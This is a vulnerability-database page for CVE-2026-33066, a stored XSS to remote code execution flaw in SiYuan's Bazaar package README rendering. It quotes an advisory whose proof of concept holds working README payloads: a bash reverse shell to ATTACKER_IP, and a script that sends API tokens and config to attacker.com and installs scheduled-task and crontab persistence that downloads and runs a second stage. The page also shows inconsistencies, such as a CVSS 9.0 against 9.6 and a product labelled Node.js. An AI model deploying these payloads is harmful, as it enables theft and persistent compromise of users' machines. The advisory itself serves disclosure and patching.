Node.js CVE-2026-33066
CRITICALAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessMalicious package author uploads README with embedded JavaScript
-
DeliveryUser views package details in Bazaar
-
ExploitFrontend assigns unsanitized HTML to innerHTML
-
ExecutionArbitrary JavaScript executes in Electron context
-
ImpactRemote code execution on user system
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Attacker must be a malicious SiYuan Bazaar package author. Victim must view the attacker's package details page in SiYuan's Bazaar marketplace. The vulnerable backend renderREADME function lacks HTML sanitization (SetSanitize not enabled), allowing JavaScript injection via README Markdown. |
| Impact | This vulnerability presents extreme real-world risk across multiple dimensions. The CVSS 9.6 vector (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H) indicates network-accessible, low-complexity exploitation requiring only one user interaction (viewing a package README). The attack vector is supply-chain: submission to the official SiYuan Bazaar marketplace, affecting any user who browses packages. The POC provided in the advisory demonstrates multiple sophisticated payload techniques (image onerror, SVG onload, details/ontoggle, picture elements) that can exfiltrate sensitive data (API tokens, configs, SSH keys), establish reverse shells, and install persistent cross-platform backdoors (Windows scheduled tasks, Linux crontab). Unlike many high-CVSS vulnerabilities, this one has trivial automation potential—an attacker controls the payload delivery mechanism (the README itself), making detection via static analysis of submitted packages difficult. No KEV/SSVC data is available in the references, but the published POC and patch availability indicate active awareness in the security community. The impact on confidentiality, integrity, and availability is complete: full RCE on affected systems. This is not a low-risk CVSS inflation; it is a genuine critical vulnerability affecting a collaborative note-taking platform used by knowledge workers. |
| Exploit ScenarioDerived | An attacker submits a legitimate-looking SiYuan plugin (e.g., 'Professional Note Templates') to the community Bazaar with an innocuous-sounding description and icon. The README contains a sophisticated payload hidden within a |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 18, 2026
SiYuan's Bazaar (community package marketplace) fails to sanitize HTML in package README files during rendering, allowing stored XSS that escalates to remote code execution due to unsafe Electron configuration. An attacker can submit a malicious package with embedded JavaScript in the README that executes with full Node.js access when any user views the package details in the Bazaar. This affects SiYuan versions 3.5.9 and earlier across Windows, macOS, and Linux, with a CVSS score of 9.6 and multiple real-world exploitation vectors including data theft, reverse shells, and persistent backdoors.
RemediationAI
Upgrade SiYuan to the version released after the published patch (verify against commit b382f50e1880ed996364509de5a10a72d7409428 on the official GitHub repository). The patch enables Lute's SetSanitize(true) for README rendering and is the definitive fix. Until patching is possible, disable Bazaar access entirely if the application permits, or restrict network access to the device to prevent users from browsing untrusted packages. As defense-in-depth, the vendor should implement client-side sanitization using a library like DOMPurify and progressively harden the Electron configuration by disabling nodeIntegration, enabling contextIsolation, and enabling sandboxing. For enterprises, restrict installation of SiYuan versions prior to the patched release, and monitor endpoints for suspicious child process spawning from the SiYuan process (calc.exe, bash, powershell spawned by node.js). Users should immediately update via the official SiYuan website or package manager once a patched version is available.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in go
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability stems from three converging weaknesses in SiYuan (affected CPE: pkg:go/github.com_siyuan-note_siyuan_kernel): the backend's renderREADME() function in kernel/bazaar/package.go uses the Lute Markdown parser without calling SetSanitize(true), allowing raw HTML embedded in Markdown to pass through unmodified. The Lute library itself supports sanitization via the SetSanitize API (as demonstrated in SiYuan's own note renderer at kernel/util/lute.go:81), but this was not applied to Bazaar content—a critical inconsistency. The frontend then assigns the unsanitized HTML to innerHTML in app/src/config/bazaar.ts:607 without client-side sanitization (e.g., DOMPurify). Finally, the Electron process is configured in app/electron/main.js with nodeIntegration: true and contextIsolation: false, meaning any JavaScript executing in the renderer has direct access to Node.js APIs including child_process, fs, and os modules. This creates a direct path from stored XSS to arbitrary code execution. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), compounded by unsafe Electron hardening.
Know when Node.js gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
Sources disagree (Low–Critical)AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
vuln.today treats the vendor’s rating as authoritative. A higher third-party CVSS (e.g. CISA-ADP) is shown for transparency but does not drive the headline severity.
CVSS VectorGitHub Advisory
Lifecycle Timeline
2DescriptionGitHub Advisory
Stored XSS to RCE via Unsanitized Bazaar README Rendering
Summary
SiYuan's Bazaar (community marketplace) renders package README content without HTML sanitization. The backend renderREADME function uses lute.New() without calling SetSanitize(true), allowing raw HTML embedded in Markdown to pass through unmodified. The frontend then assigns the rendered HTML to innerHTML without any additional sanitization. A malicious package author can embed arbitrary JavaScript in their README that executes when a user clicks to view the package details. Because SiYuan's Electron configuration enables nodeIntegration: true with contextIsolation: false, this XSS escalates directly to full Remote Code Execution.
Affected Component
- README rendering (backend):
kernel/bazaar/package.go:635-645(renderREADMEfunction) - README rendering (frontend):
app/src/config/bazaar.ts:607(innerHTMLassignment) - Electron config:
app/electron/main.js:422-426(nodeIntegration: true,contextIsolation: false)
Affected Versions
- SiYuan <= 3.5.9
-
Severity
Critical - CVSS 9.6 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H)
- CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)
Note: This vector requires one click (user viewing the package README), unlike the metadata vector which is zero-click.
Vulnerable Code
Backend: kernel/bazaar/package.go:635-645
func renderREADME(repoURL string, mdData []byte) (ret string, err error) {
luteEngine := lute.New() // Fresh Lute instance - SetSanitize NOT called
luteEngine.SetSoftBreak2HardBreak(false)
luteEngine.SetCodeSyntaxHighlight(false)
linkBase := "https://cdn.jsdelivr.net/gh/" + ...
luteEngine.SetLinkBase(linkBase)
ret = luteEngine.Md2HTML(string(mdData)) // Raw HTML in Markdown is PRESERVED
return
}Compare with SiYuan's own note renderer in kernel/util/lute.go:81, which does sanitize:
luteEngine.SetSanitize(true) // Notes ARE sanitized - but Bazaar README is NOTThis inconsistency demonstrates that the project is aware of the Lute sanitization API but failed to apply it to Bazaar content.
Frontend: app/src/config/bazaar.ts:607
fetchPost("/api/bazaar/getBazaarPackageREADME", {...}, response => {
mdElement.innerHTML = response.data.html; // Unsanitized HTML injected into DOM
});The backend returns unsanitized HTML, and the frontend blindly assigns it to innerHTML without any client-side sanitization (e.g., DOMPurify).
Electron: app/electron/main.js:422-426
webPreferences: {
nodeIntegration: true,
contextIsolation: false,
// ...
}Any JavaScript executing in the renderer has direct access to Node.js APIs.
Proof of Concept
Step 1: Create a malicious README
Create a GitHub repository with a valid SiYuan plugin/theme/template structure. The README.md contains embedded HTML:
# Helpful Productivity Plugin
This plugin helps you organize your notes with smart templates and AI-powered suggestions.
## Features
- Smart template insertion
- AI-powered note organization
- Cross-platform sync
<img src=x onerror="require('child_process').exec('calc.exe')">
## Installation
Install via the SiYuan Bazaar marketplace.
## License
MITThe raw <img> tag with onerror handler is valid Markdown (HTML passthrough). The Lute engine preserves it because SetSanitize(true) is not called. The frontend renders it via innerHTML, and the broken image triggers onerror, executing calc.exe.
Step 2: Submit to Bazaar
Submit the repository to the SiYuan Bazaar via the standard community contribution process.
Step 3: One-click RCE
When a SiYuan user browses the Bazaar, sees the package listing, and clicks on it to view the README/details, the unsanitized HTML renders in the detail panel. The onerror handler fires, executing arbitrary OS commands.
Escalation: Reverse shell
# Cool Theme for SiYuan
Beautiful dark theme with custom fonts.
<img src=x onerror="require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"')">Escalation: Multi-stage payload via README
A more sophisticated attack can hide the payload deeper in the README to avoid casual review:
# Professional Note Templates
A comprehensive collection of note templates for professionals.
## Templates Included
| Category | Count | Description |
|----------|-------|-------------|
| Business | 15 | Meeting notes, project plans |
| Academic | 12 | Research notes, citations |
| Personal | 8 | Journal, habit tracking |
## Screenshots
<!-- Legitimate-looking image reference -->
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://attacker.com/dark.png">
<source media="(prefers-color-scheme: light)" srcset="https://attacker.com/light.png">
<img src="https://attacker.com/screenshot.png" alt="Template Preview" onload="
var c = require('child_process');
var o = require('os');
var f = require('fs');
var p = require('path');
// Exfiltrate sensitive data
var home = o.homedir();
var configDir = p.join(home, '.config', 'siyuan');
var data = {};
try { data.apiToken = f.readFileSync(p.join(configDir, 'cookie.key'), 'utf8'); } catch(e) {}
try { data.conf = JSON.parse(f.readFileSync(p.join(configDir, 'conf.json'), 'utf8')); } catch(e) {}
try { data.hostname = o.hostname(); data.user = o.userInfo().username; data.platform = o.platform(); } catch(e) {}
// Send to attacker
var https = require('https');
var payload = JSON.stringify(data);
var req = https.request({
hostname: 'attacker.com', port: 443, path: '/collect', method: 'POST',
headers: { 'Content-Type': 'application/json', 'Content-Length': payload.length }
});
req.write(payload);
req.end();
// Drop persistence
if (o.platform() === 'win32') {
c.exec('schtasks /create /tn SiYuanSync /tr \"powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString(\\\"https://attacker.com/stage2.ps1\\\"))\" /sc onlogon /rl highest /f');
} else {
c.exec('(crontab -l 2>/dev/null; echo \"@reboot curl -s https://attacker.com/stage2.sh | bash\") | crontab -');
}
">
</picture>
## Changelog
- v1.0.0: Initial releaseThis payload:
- Uses
onloadinstead ofonerror(fires on successful image load from attacker's server) - Exfiltrates SiYuan API token, config, hostname, username, and platform info
- Installs cross-platform persistence (Windows scheduled task / Linux crontab)
- Is buried inside a legitimate-looking
<picture>element that blends with real README content
Escalation: SVG-based payload (bypasses naive img filtering)
## Architecture
<svg onload="require('child_process').exec('id > /tmp/pwned')">
<rect width="100" height="100" fill="blue"/>
</svg>Escalation: Details/summary element (interactive trigger)
## FAQ
<details ontoggle="require('child_process').exec('whoami > /tmp/pwned')" open>
<summary>How do I install this plugin?</summary>
Use the SiYuan Bazaar to install.
</details>The open attribute causes ontoggle to fire immediately without user interaction with the element itself.
Attack Scenario
- Attacker creates a legitimate-looking GitHub repository with a SiYuan plugin/theme/template.
- The README contains a well-crafted payload hidden within legitimate-looking content (e.g., inside a
<picture>tag,<details>block, or<svg>). - Attacker submits the package to the SiYuan Bazaar via the community contribution process.
- A SiYuan user browses the Bazaar and clicks on the package to view its details/README.
- The backend renders the README via
renderREADME()without sanitization. - The frontend assigns the HTML to
innerHTML. - The injected JavaScript executes with full Node.js access.
- The attacker achieves RCE - reverse shell, data theft, persistence, etc.
Impact
- Full remote code execution on any SiYuan desktop user who views the malicious package README
- One-click - triggered by viewing package details in the Bazaar
- Supply-chain attack via the official SiYuan community marketplace
- Payloads can be deeply hidden in legitimate-looking README content, making code review difficult
- Can steal API tokens, SiYuan configuration, SSH keys, browser credentials, and arbitrary files
- Can install persistent backdoors across Windows, macOS, and Linux
- Multiple HTML elements can carry payloads (
img,svg,details,picture,video,audio,iframe,object,embed,math, etc.) - Affects all platforms: Windows, macOS, Linux
Suggested Fix
1. Enable Lute sanitization for README rendering (package.go)
func renderREADME(repoURL string, mdData []byte) (ret string, err error) {
luteEngine := lute.New()
luteEngine.SetSanitize(true) // ADD THIS - matches note renderer behavior
luteEngine.SetSoftBreak2HardBreak(false)
luteEngine.SetCodeSyntaxHighlight(false)
linkBase := "https://cdn.jsdelivr.net/gh/" + ...
luteEngine.SetLinkBase(linkBase)
ret = luteEngine.Md2HTML(string(mdData))
return
}2. Add client-side sanitization as defense-in-depth (bazaar.ts)
import DOMPurify from 'dompurify';
fetchPost("/api/bazaar/getBazaarPackageREADME", {...}, response => {
mdElement.innerHTML = DOMPurify.sanitize(response.data.html);
});3. Long-term: Harden Electron configuration
webPreferences: {
nodeIntegration: false,
contextIsolation: true,
sandbox: true,
}Executive ViewAI
CVE-2026-33066 presents critical security risk, a cross-site scripting vulnerability rated CVSS 9.0. Attackers could inject malicious scripts to steal user sessions, credentials, or perform actions on behalf of authenticated users. A patch is available and should be applied immediately given the critical severity.
Apply vendor patch. If immediate patching is not feasible: (1) Implement Content-Security-Policy headers; (2) Enable HttpOnly and SameSite cookie attributes; (3) Deploy WAF XSS/CSRF rules.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Affected Products (CPE)GitHub Advisory
Related Vulnerabilities in SiYuan Bazaar XSS Vulnerabilities
View all 2Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation
A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
A vulnerability in NuPoint Messenger (NPM) of Mitel MiCollab through 9.8.0.33 allows an unauthenticated attacker to cond
Same weakness CWE-79 – Cross-site Scripting (XSS)
View allVendor StatusVendor
SUSE
Severity: Low| Product | Status |
|---|---|
| openSUSE Leap 15.6 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Fixed |
| openSUSE Leap 15.5 | Fixed |
GHSA-4663-4mpg-879v
NVD
CVE.org
EPSS
VulDB
Exploit-DB